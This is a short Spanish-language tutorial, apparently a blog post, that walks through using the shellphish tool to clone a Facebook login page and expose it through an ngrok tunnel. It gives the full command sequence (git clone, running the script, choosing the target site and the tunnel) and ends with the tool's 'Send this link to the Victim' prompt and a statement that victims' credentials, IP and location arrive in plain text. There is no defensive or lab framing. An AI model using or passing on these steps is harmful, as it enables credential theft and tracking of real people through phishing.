En esta ocasión vamos a utilizar una herramienta más para realizar ataque de phishing. Con el cual obtendremos todas las credenciales y también nos va a mostrar la ip del dispositivo conectado, la versión del navegador y el tipo, el sistema operativo el país la ciudad, el nombre del proveedor de servicio, eh inclusive hasta la moneda que se utiliza en ese país

En esta ocasión vamos a utilizar una de las páginas que nos ofrece la herramienta para clonar.

Como siempre vamos a comenzar descargando la herramienta desde github.

Un punto importante para aclarar es que como otras herramientas esta también utiliza Ngrok y Serveo, pero como Serveo últimamente no está funcionando a la perfección, continuaremos utilizando nuestro puente con Ngrok.

“aclaración importante si no tienen instalado Ngrok shellphish le va a descargar Ngrok y ustedes lo tienen que descomprimir en la misma carpeta donde se encuentra shellphish. O en caso de tenerla tienen que copiarla en la misma carpeta.”

root@computaxion:~/tools# ls

Armitage Evil-Droid ngrok Phisher-man weeman

root@computaxion:~/tools# git clone https://github.com/thelinuxchoice/shellphish

root@computaxion:~/tools# cd shellphish/

Una vez posicionados en la carpeta lo ejecutamos con el siguiente comando. bash ./shellphish.sh

root@computaxion:~/tools/shellphish# bash ./shellphish.sh

Acá nos muestra un listado de los sitios que nos ofrece para clonar.

[01] Instagram [09] Origin [17] Gitlab

[02] Facebook [10] Steam [18] Pinterest

[03] Snapchat [11] Yahoo [19] Custom

[04] Twitter [12] LinkedIn [99] Exit

[05] Github [13] Protonmail

[06] Google [14] Wordpress

[07] Spotify [15] Microsoft

[08] Netflix [16] InstaFollowers

Luego seleccionamos una de las opciones con su número

[\*] Choose an option: 2

Después de esta opción es que nos pide como vamos a crear el puente,

[01] Serveo.net (SSH Tunneling, Best!)

[02] Ngrok

En nuestro caso seleccionamos la opción 2

[\*] Choose a Port Forwarding option: 2

[\*] Starting php server...

[\*] Starting ngrok server...

[\*] Send this link to the Victim: https://bd4c0d49.ngrok.io

[\*] Waiting IPs and Credentials, Press Ctrl + C to exit...

En este momento queda a la escucha y en cuando la víctima se conecte con el enlace que enviamos y coloque sus credenciales, nos van a aparecer a nosotros en texto plano.